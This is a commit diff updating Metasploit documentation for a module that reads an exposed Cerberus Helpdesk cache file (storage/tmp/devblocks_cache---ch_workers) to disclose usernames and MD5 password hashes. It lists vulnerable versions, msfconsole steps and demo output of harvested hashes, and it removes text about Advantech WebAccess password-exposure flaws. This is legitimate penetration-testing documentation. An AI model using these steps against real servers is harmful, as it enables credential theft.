updated docs

Author: h00die

documentation/modules/auxiliary/gather/cerberus_helpdesk_hash_disclosure.md

@@ -1,69 +1,61 @@
 ## Description
 
-This module exploits three vulnerabilities in Advantech WebAccess.
+This module opens a `devblocks_cache---ch_workers` or `zend_cache---ch_workers` file which contains a
+data structure with username and password hash (MD5) credentials.  The contents looks similar to JSON, however it is not.
 
-The first vulnerability is the ability for an arbitrary user to access the admin user list page,
-revealing the username of every user on the system.
-
-The second vulnerability is the user edit page can be accessed loaded by an arbitrary user, with
-the data of an arbitrary user.
-
-The final vulnerability exploited is that the HTML Form on the user edit page contains the user's
-plain text password in the masked password input box. Typically the system should replace the
-actual password with a masked character such as "*".
+## Vulnerable Application
 
+This module has been verified against:
 
-## Vulnerable Application
+1. Version 4.2.3 Stable (Build 925)
+2. Version 5.4.4
 
-Version 8.1 was tested during development:
+However it may also work up to, but no including, version 6.7
 
-http://advcloudfiles.advantech.com/web/Download/webaccess/8.1/AdvantechWebAccessUSANode8.1_20151230.exe
+Version 5.4.4 is available on [exploit-db.com](https://www.exploit-db.com/apps/882596e791e54529b29ecbc6f48a6cb7-cerb5-5_4_4.zip)
 
-8.2 is not vulnerable to this.
+* of note, 5.4.4 has to be installed on a PRE php7 environment.
 
 ## Verification Steps
 
 1. Start msfconsole
-2. ```use auxiliary/gahter/advantech_webaccess_creds```
-3. ```set WEBACCESSUSER [USER]```
-4. ```set WEBACCESSPASS [PASS]```
-5. ```run```
-
-## Options
-
-**WEBACCESSUSER**
-
-The username to use to log into Advantech WebAccess. By default, there is a built-in account
-```admin``` that you could use.
-
-**WEBACCESSPASS**
-
-The password to use to log into AdvanTech WebAccess. By default, the built-in account ```admin```
-does not have a password, which could be something you can use.
-
+2. ```use auxiliary/gather/cerberus_helpdesk_hash_disclosure```
+3. ```set rhosts```
+4. ```run```
 
 ## Demo
 
-msf > use auxiliary/gather/cerberus_helpdesk_hash_disclosure
-msf auxiliary(cerberus_helpdesk_hash_disclosure) > show options
-
-Module options (auxiliary/gather/cerberus_helpdesk_hash_disclosure):
-
-   Name     Current Setting  Required  Description
-   ----     ---------------  --------  -----------
-   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
-   RHOSTS                    yes       The target address range or CIDR identifier
-   RPORT    80               yes       The target port (TCP)
-   SSL      false            no        Negotiate SSL/TLS for outgoing connections
-   THREADS  1                yes       The number of concurrent threads
-   URI      /                no        URL of the Cerberus Helpdesk root
-   VHOST                     no        HTTP server virtual host
-
-msf auxiliary(cerberus_helpdesk_hash_disclosure) > set rhosts 10.90.5.81
-rhosts => 10.90.5.81
-msf auxiliary(cerberus_helpdesk_hash_disclosure) > run
-
-[-] Invalid response received for /storage/tmp/devblocks_cache---ch_workers
-[+] admin:aaa34a6111abf0bd1b1c4d7cd7ebb37b
-[+] example:112302c209fe8d73f502c132a3da2b1c
-[+] foobar:0d108d09e5bbe40aade3de5c81e9e9c7
+### 4.2.3 using zend (not verbose)
+
+  ```
+    msf > use auxiliary/gather/cerberus_helpdesk_hash_disclosure
+    msf auxiliary(cerberus_helpdesk_hash_disclosure) > set rhosts 1.1.1.1
+    rhosts => 1.1.1.1
+    msf auxiliary(cerberus_helpdesk_hash_disclosure) > run
+    
+    [-] Invalid response received for /storage/tmp/devblocks_cache---ch_workers
+    [+] admin:aaa34a6111abf0bd1b1c4d7cd7ebb37b
+    [+] example:112302c209fe8d73f502c132a3da2b1c
+    [+] foobar:0d108d09e5bbe40aade3de5c81e9e9c7
+  ```
+
+### 5.4.4 using devblocks
+
+  ```
+    msf > use auxiliary/gather/cerberus_helpdesk_hash_disclosure 
+    rhost => 192.168.2.45
+    msf auxiliary(cerberus_helpdesk_hash_disclosure) > set rhosts 192.168.2.45
+    rhosts => 192.168.2.45
+    msf auxiliary(cerberus_helpdesk_hash_disclosure) > set uri /cerb5/
+    uri => /cerb5/
+    msf auxiliary(cerberus_helpdesk_hash_disclosure) > set verbose true
+    verbose => true
+    msf auxiliary(cerberus_helpdesk_hash_disclosure) > run
+    
+    [*] Attempting to load data from /cerb5/storage/tmp/devblocks_cache---ch_workers
+    [+] [email protected]:37b51d194a7513e45b56f6524f2d51f2
+    [+] [email protected]:acbd18db4cc2f85cedef654fccc4a4d8
+    [+] [email protected]:18126e7bd3f84b3f3e4df094def5b7de
+    [*] Scanned 1 of 1 hosts (100% complete)
+    [*] Auxiliary module execution completed
+  ```